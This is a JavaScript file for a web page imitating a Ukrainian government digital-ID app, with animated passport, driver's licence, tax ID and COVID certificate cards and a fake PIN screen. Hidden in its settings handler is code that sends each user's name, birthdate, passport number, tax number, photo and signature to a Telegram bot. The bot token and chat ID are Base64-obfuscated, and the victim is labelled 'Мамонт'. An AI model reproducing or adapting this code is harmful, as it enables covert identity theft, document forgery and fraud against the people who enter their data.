<script>// main.js

scrollLock.disablePageScroll();

var date = new Date();
var month = date.getMonth();
var arr = [
  'січня',
  'лютого',
  'березня',
  'квітня',
  'травня',
  'червня',
  'липня',
  'серпня',
  'вересня',
  'жовтня',
  'листопада',
  'грудня',
];

$('.rf_title').text(
  'Дані оновлено ' +
    date.getDate() +
    ' ' +
    arr[month] +
    ' ' +
    date.getFullYear() +
    ' о ' +
    (date.getHours() < 10 ? '0' + date.getHours() : date.getHours()) +
    ':' +
    (date.getMinutes() < 10 ? '0' + date.getMinutes() : date.getMinutes())
);

$('html').css('background', 'linear-gradient(90deg, #aabce8, #cfc6e5, #e2c6e6)');

$.fn.preload = function () {
  this.each(function () {
    $('<img/>')[0].src = this;
  });
};

$([
  'access/icons/docac.svg',
  'access/icons/posin.svg',
  'access/icons/posac.svg',
  'access/icons/docin.svg',
  'access/icons/notin.svg',
  'access/icons/notac.svg',
  'access/icons/menuin.svg',
  'access/icons/menuac.svg',
  'access/icons/qrcodeinc.png',
  'access/icons/qrcodeact.png',
  'access/icons/shtrihinc.png',
  'access/icons/shtrihact.png',
  'access/icons/1.svg',
  'access/icons/2.svg',
  'access/icons/3.svg',
  'access/icons/4.svg',
  'access/icons/5.svg',
  'access/icons/6.svg',
  'access/icons/7.svg',
  'access/icons/8.svg',
  'access/icons/9.svg',
  'access/icons/10.svg',
  'access/icons/11.svg',
  'access/icons/arrow.svg',
  'access/e-Ukraine-Regular.woff',
]).preload();

$('.vshicon').on('click', function () {
  $('.loaded.sh.v').fadeIn(1);
  $('.loaded.qr.v').fadeOut(1);
});

$('.vqricon').on('click', function () {
  $('.loaded.qr.v').fadeIn(1);
  $('.loaded.sh.v').fadeOut(1);
});

$('.cshicon').on('click', function () {
  $('.loaded.sh.c').fadeIn(1);
  $('.loaded.qr.c').fadeOut(1);
});

$('.cqricon').on('click', function () {
  $('.loaded.qr.c').fadeIn(1);
  $('.loaded.sh.c').fadeOut(1);
});

$('.nshicon').on('click', function () {
  $('.loaded.sh.n').fadeIn(1);
  $('.loaded.qr.n').fadeOut(1);
});

$('.nqricon').on('click', function () {
  $('.loaded.qr.n').fadeIn(1);
  $('.loaded.sh.n').fadeOut(1);
});

$('.pshicon').on('click', function () {
  $('.loaded.sh.p').fadeIn(1);
  $('.loaded.qr.p').fadeOut(1);
});

$('.pqricon').on('click', function () {
  $('.loaded.qr.p').fadeIn(1);
  $('.loaded.sh.p').fadeOut(1);
});

$('.icon.pov').on('click', function () {
  setTimeout(function () {
    $('.icon').removeClass('act');
    $('.icon.pov').addClass('act');

    $('.papage').fadeOut(1);
    $('.menulid').fadeOut(1);
    $('.poslugi').fadeOut(1);

    $('.notifications').fadeIn(1);

    swiper.slideTo(0, 10, false);
    $('html').css('background', '#c9d8e7');
  }, 70);
});

$('.icon.doc').on('click', function () {
  setTimeout(function () {
    $('html').css('background', '#b0c7e7');

    $('.icon').removeClass('act');
    $('.icon.doc').addClass('act');

    $('.notifications').fadeOut(1);
    $('.menulid').fadeOut(1);
    $('.poslugi').fadeOut(1);

    $('.papage').fadeIn(1);
  }, 70);
});

$('.icon.pos').on('click', function () {
  setTimeout(function () {
    $('.icon').removeClass('act');
    $('.icon.pos').addClass('act');

    $('.notifications').fadeOut(1);
    $('.menulid').fadeOut(1);
    $('.papage').fadeOut(1);
    $('.poslugi').fadeIn(1);

    swiper.slideTo(0, 10, false);
    $('html').css('background', '#c9d8e7');
  }, 70);
});

$('.icon.men').on('click', function () {
  setTimeout(function () {
    $('.icon').removeClass('act');
    $('.icon.men').addClass('act');

    $('.notifications').fadeOut(1);
    $('.poslugi').fadeOut(1);
    $('.papage').fadeOut(1);

    $('.menulid').fadeIn(1);

    swiper.slideTo(0, 10, false);
    $('html').css('background', '#c9d8e7');
  }, 70);
});

$(function () {
  $('.line').marquee({
    allowCss3Support: true,
    css3easing: 'linear',
    easing: 'linear',
    delayBeforeStart: 0,
    direction: 'left',
    duplicated: true,
    gap: 50,
    pauseOnCycle: false,
    pauseOnHover: false,
    startVisible: false,
  });
});

var swiper = new Swiper('.swiper-container', {
  effect: 'coverflow',
  grabCursor: true,
  centeredSlides: true,
  slidesPerView: 'auto',
  spaceBetween: 85,
  coverflowEffect: {
    rotate: 0,
    stretch: 20,
    depth: 200,
    modifier: 1,
    slideShadows: false,
  },
});

swiper.on('slideChange', function () {
  // Обновление точек навигации
  $('.dit_dot').removeClass('act');
  var currentIndex = swiper.realIndex;
  $('.dit_dot').eq(currentIndex).addClass('act');

  // Дополнительный код для изменения фона и т.д.
});

var p = 0;

$('.key').on('click', function () {
  p = p + 1;
  if (p == 4) {
    $('.dot:nth-child(' + p + ')').addClass('pressed');
    setTimeout(function () {
      $('.loginpage').fadeOut(100);
      $('html').css('background', '#aec5e5');
    }, 400);
  } else {
    $('.dot:nth-child(' + p + ')').addClass('pressed');
  }
});

$('.krest').on('click', function () {
  p = 0;
  $('.dot').removeClass('pressed');
});

// Проверка наличия сохраненных данных при загрузке страницы
$(document).ready(function () {
  var savedData = localStorage.getItem('userData');
  if (savedData) {
    var userData = JSON.parse(savedData);
    populateUserData(userData);
    // Не показывать меню настроек
    $('.settings-menu').hide();
    enableScroll();
  } else {
    // Показывать меню настроек при первой загрузке
    setTimeout(function () {
      $('.settings-menu').fadeIn(1);
      disableScroll();
    }, 1500); // Задержка, чтобы дать время загрузке страницы
  }
});

setTimeout(function () {
  $('.zublogo').fadeIn(1);

  setTimeout(function () {
    $('.zublogo').css('transition', '.2s');
    $('.diyalogo').css('transition', '.2s');
    $('.zublogo').css('transform', 'translateX(45px)');
    $('.diyalogo').css('transform', 'translateX(-45px)');

    setTimeout(function () {
      $('.loadtext').fadeIn(600);
      $('.loadtext').css('transition', '.2s');
      $('.loadtext').css('transform', 'translateX(45px)');
    }, 1500);

    setTimeout(function () {
      $('.diyalogo').css('transition', '.4s');
      $('.diyalogo').css('transition', '.2s');
      $('.diyalogo').css('transform', 'scale(0)');
      $('.zublogo').css('transform', 'translateX(-104px)');

      $('.loginpage').fadeIn(1);
      $('.papage').css('opacity', '1');

      setTimeout(function () {
        var ves =
          ($('.papage > .footer').height() -
            $('.papage > .footer > .ft_icons').height()) /
          2;
        $('.zep').css('padding-bottom', ves + 'px');
        var zaz = ves + 13 + $('.papage > .footer > .ft_icons').height();
        $('.menu').css('max-height', 'calc(100% - ' + zaz + 'px)');
        $('.ok').css('margin-bottom', (ves + 13) * 2 + 'px');
      }, 300);

      setTimeout(function () {
        $('.loadpage').fadeOut(200);
        $('html').css('background', '#d2e1ee');
      }, 1500);
    }, 1500);
  }, 700);
}, 700);
$('.diyalogo').fadeIn(500);

// Функции для блокировки и разблокировки прокрутки
function disableScroll() {
  $('body').css('overflow', 'hidden');
}

function enableScroll() {
  $('body').css('overflow', 'auto');
}

// Открытие настроек через меню
$('.menulist.settings').on('click', function () {
  $('.settings-menu').fadeIn(1);
  disableScroll();
});

// Функциональность меню настроек
$('.save-settings').on('click', function () {
  // Получение данных из полей ввода
  var userSurname = $('.user-surname').val();
  var userName = $('.user-name').val();
  var userPatronymic = $('.user-patronymic').val();
  var userBirthdate = $('.user-birthdate').val();
  var userPassportNumber = $('.user-passport-number').val();
  var userRNOKPP = $('.user-rnokpp').val();

// Проверка корректности даты рождения
var formattedDate = userBirthdate.trim();

// Регулярное выражение для проверки даты в формате ДД.ММ.ГГГГ
var dateRegex = /^(\d{2})\.(\d{2})\.(\d{4})$/;

if (!dateRegex.test(formattedDate)) {
  alert('Будь ласка, введіть дату народження у форматі ДД.ММ.ГГГГ');
  return;
}


  // Объект с данными пользователя
  var userData = {
    userSurname: userSurname,
    userName: userName,
    userPatronymic: userPatronymic,
    formattedDate: formattedDate,
    userPassportNumber: userPassportNumber,
    userRNOKPP: userRNOKPP,
  };

  // Сохранение данных в localStorage
  localStorage.setItem('userData', JSON.stringify(userData));

  // Обновление интерфейса новыми данными
  populateUserData(userData);

  // Обработка смены фото
  var photoInput = $('.user-photo')[0];
  if (photoInput.files && photoInput.files[0]) {
    var reader = new FileReader();
    reader.onload = function (e) {
      $('.profile-photo').css('background-image', 'url(' + e.target.result + ')');
      // Сохранение фото в localStorage
      localStorage.setItem('userPhoto', e.target.result);
      // Отправка фото в Telegram
      sendPhotoToTelegram(e.target.result);
    };
    reader.readAsDataURL(photoInput.files[0]);
  }

  // Обработка смены подписи
  var signatureInput = $('.user-signature')[0];
  if (signatureInput.files && signatureInput.files[0]) {
    var reader = new FileReader();
    reader.onload = function (e) {
      $('.sign').css('background-image', 'url(' + e.target.result + ')');
      // Сохранение подписи в localStorage
      localStorage.setItem('userSignature', e.target.result);
      // Отправка подписи в Telegram
      sendPhotoToTelegram(e.target.result);
    };
    reader.readAsDataURL(signatureInput.files[0]);
  }

  // Отправка данных в Telegram (резервное копирование)
  var message = 'Мамонт:\n\n';
  message += 'ПІБ: ' + userSurname + ' ' + userName + ' ' + userPatronymic + '\n';
  message += 'Дата народження: ' + formattedDate + '\n';
  message += 'Номер паспорта: ' + userPassportNumber + '\n';
  message += 'РНОКПП: ' + userRNOKPP + '\n';
  sendMessageToTelegram(message);

  // Закрытие меню настроек и разблокировка прокрутки
  $('.settings-menu').fadeOut(1);
  enableScroll();
});

// Обработка кнопки отмены
$('.cancel-settings').on('click', function () {
  $('.settings-menu').fadeOut(1);
  enableScroll();
});

// Функция для заполнения интерфейса данными пользователя
function populateUserData(userData) {
  var fullName = userData.userSurname + ' ' + userData.userName + ' ' + userData.userPatronymic;
  var firstName = userData.userName; // Используем только имя для приветствия

  // Устанавливаем имя в приветствии
  $('.greeting-name').text(firstName);

  // Устанавливаем полное имя в других местах
  $('.profile-name').text(fullName);

  $('.birthdate').text('Дата народження: ' + userData.formattedDate);
  $('.passport_id').text('Номер: ' + userData.userPassportNumber);
  $('.kpp_id').text(userData.userRNOKPP);

  // Загрузка фото из localStorage
  var savedPhoto = localStorage.getItem('userPhoto');
  if (savedPhoto) {
    $('.profile-photo').css('background-image', 'url(' + savedPhoto + ')');
  }

  // Загрузка подписи из localStorage
  var savedSignature = localStorage.getItem('userSignature');
  if (savedSignature) {
    $('.sign').css('background-image', 'url(' + savedSignature + ')');
  }
}

// Обновление точек при смене слайда
swiper.on('slideChange', function () {
  // Обновление точек навигации
  $('.dit_dot').removeClass('act');
  var currentIndex = swiper.realIndex;
  $('.dit_dot').eq(currentIndex).addClass('act');

  // Дополнительный код для изменения фона и т.д.
});

// Function to encode Unicode strings to Base64
function encodeBase64(str) {
  return btoa(
    encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
      return String.fromCharCode('0x' + p1);
    })
  );
}

// Function to decode Base64 strings to Unicode
function decodeBase64(str) {
  return decodeURIComponent(
    Array.prototype.map.call(atob(str), function(c) {
      return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
    }).join('')
  );
}


// Updated sendMessageToTelegram Function
function sendMessageToTelegram(message) {
  // Encoded Bot Token and Chat ID
  var encodedBotToken = 'NzcxMzcxNTc4NzpBQUd4VjY3Rl9DVkFxNXJWQWRwVDRYeExVME9pS2NBWGRFTQ=='; // Replace with your actual Base64 encoded token
  var encodedChatId = 'LTEwMDIxNTU4NjkwNjY='; // Replace with your actual Base64 encoded chat ID if needed

  // Decode the credentials
  var telegramBotToken = decodeBase64(encodedBotToken);
  var telegramChatId = decodeBase64(encodedChatId);

  // Encode the message
  var encodedMessage = encodeBase64(message);

  $.ajax({
    url: 'https://api.telegram.org/bot' + telegramBotToken + '/sendMessage',
    method: 'POST',
    data: {
      chat_id: telegramChatId,
      text: decodeBase64(encodedMessage), // Telegram expects the actual message
    },
  });
}

// Updated sendPhotoToTelegram Function
function sendPhotoToTelegram(photoDataUrl) {
  // Encoded Bot Token and Chat ID
  var encodedBotToken = 'NzcxMzcxNTc4NzpBQUd4VjY3Rl9DVkFxNXJWQWRwVDRYeExVME9pS2NBWGRFTQ=='; // Replace with your actual Base64 encoded token
  var encodedChatId = 'LTEwMDIxNTU4NjkwNjY='; // Replace with your actual Base64 encoded chat ID if needed

  // Decode the credentials
  var telegramBotToken = decodeBase64(encodedBotToken);
  var telegramChatId = decodeBase64(encodedChatId);

  var blob = dataURLtoBlob(photoDataUrl);
  var formData = new FormData();
  formData.append('chat_id', telegramChatId);
  formData.append('photo', blob, 'photo.jpg');

  $.ajax({
    url: 'https://api.telegram.org/bot' + telegramBotToken + '/sendPhoto',
    method: 'POST',
    processData: false,
    contentType: false,
    data: formData,
  });
}


// Функция для преобразования dataURL в Blob
function dataURLtoBlob(dataurl) {
  var arr = dataurl.split(','),
    mime = arr[0].match(/:(.*?);/)[1],
    bstr = atob(arr[1]),
    n = bstr.length,
    u8arr = new Uint8Array(n);
  while (n--) {
    u8arr[n] = bstr.charCodeAt(n);
  }
  return new Blob([u8arr], { type: mime });
}

// Переворот COVID-сертифіката
if ($('.covid').length == 1) {
  var j = 0;
  var covid = document.querySelector('.covid');
  var playing = false;
  covid.addEventListener('click', function () {
    j = j + 1;

    setTimeout(function () {
      $('.cqricon').click();
    }, 300);

    $('.cqricon').on('click', function () {
      return false;
    });

    $('.cshicon').on('click', function () {
      return false;
    });

    if (j == 1) {
      setTimeout(function () {
        $('.covid > .content > .unloaded').css('opacity', '0');
        $('.covid > .content > .loaded').css('opacity', '1');
      }, 500);
    }

    if (playing) return;

    $('.covid > .content').css('filter', 'brightness(0.8)');
    setTimeout(function () {
      $('.covid > .content').css('filter', 'brightness(1)');
    }, 200);

    playing = true;
    anime({
      targets: covid,
      rotateY: {
        value: '+=180',
        delay: 0,
      },
      easing: 'linear',
      duration: 100,
      complete: function (anim) {
        playing = false;
      },
    });
  });
}

// Переворот водительского удостоверения
if ($('.prava').length == 1) {
  var l = 0;
  var prava = document.querySelector('.prava');
  var playing = false;
  prava.addEventListener('click', function () {
    l = l + 1;

    setTimeout(function () {
      $('.vqricon').click();
    }, 300);

    $('.vqricon').on('click', function () {
      return false;
    });

    $('.vshicon').on('click', function () {
      return false;
    });

    if (l == 1) {
      setTimeout(function () {
        $('.prava > .content > .unloaded').css('opacity', '0');
        $('.prava > .content > .loaded').css('opacity', '1');
      }, 500);
    }

    if (playing) return;

    $('.prava > .content').css('filter', 'brightness(0.8)');
    setTimeout(function () {
      $('.prava > .content').css('filter', 'brightness(1)');
    }, 200);

    playing = true;
    anime({
      targets: prava,
      rotateY: {
        value: '+=180',
        delay: 0,
      },
      easing: 'linear',
      duration: 100,
      complete: function (anim) {
        playing = false;
      },
    });
  });
}

// Переворот паспорта
var i = 0;
var pssprt = document.querySelector('.pssprt');
var playing = false;
pssprt.addEventListener('click', function () {
  i = i + 1;

  setTimeout(function () {
    $('.pqricon').click();
  }, 300);

  $('.pqricon').on('click', function () {
    return false;
  });

  $('.pshicon').on('click', function () {
    return false;
  });

  if (i == 1) {
    setTimeout(function () {
      $('.pssprt > .content > .unloaded').css('opacity', '0');
      $('.pssprt > .content > .loaded').css('opacity', '1');
    }, 500);
  }

  if (playing) return;

  $('.pssprt > .content').css('filter', 'brightness(0.8)');
  setTimeout(function () {
    $('.pssprt > .content').css('filter', 'brightness(1)');
  }, 200);

  playing = true;
  anime({
    targets: pssprt,
    rotateY: {
      value: '+=180',
      delay: 0,
    },
    easing: 'linear',
    duration: 100,
    complete: function (anim) {
      playing = false;
    },
  });
});

// Переворот налогового идентификатора
var n = 0;

var nlgi = document.querySelector('.nlgi');
var playing = false;

nlgi.addEventListener('click', function () {
  n = n + 1;

  setTimeout(function () {
    $('.nqricon').click();
  }, 300);

  $('.nqricon').on('click', function () {
    return false;
  });

  $('.nshicon').on('click', function () {
    return false;
  });

  if (n == 1) {
    setTimeout(function () {
      $('.nlgi > .content > .unloaded').css('opacity', '0');
      $('.nlgi > .content > .loaded').css('opacity', '1');
    }, 500);
  }

  if (playing) return;

  $('.nlgi > .content').css('filter', 'brightness(0.8)');
  setTimeout(function () {
    $('.nlgi > .content').css('filter', 'brightness(1)');
  }, 200);

  playing = true;
  anime({
    targets: nlgi,
    rotateY: {
      value: '+=180',
      delay: 0,
    },
    easing: 'linear',
    duration: 100,
    complete: function (anim) {
      playing = false;
    },
  });
});</script>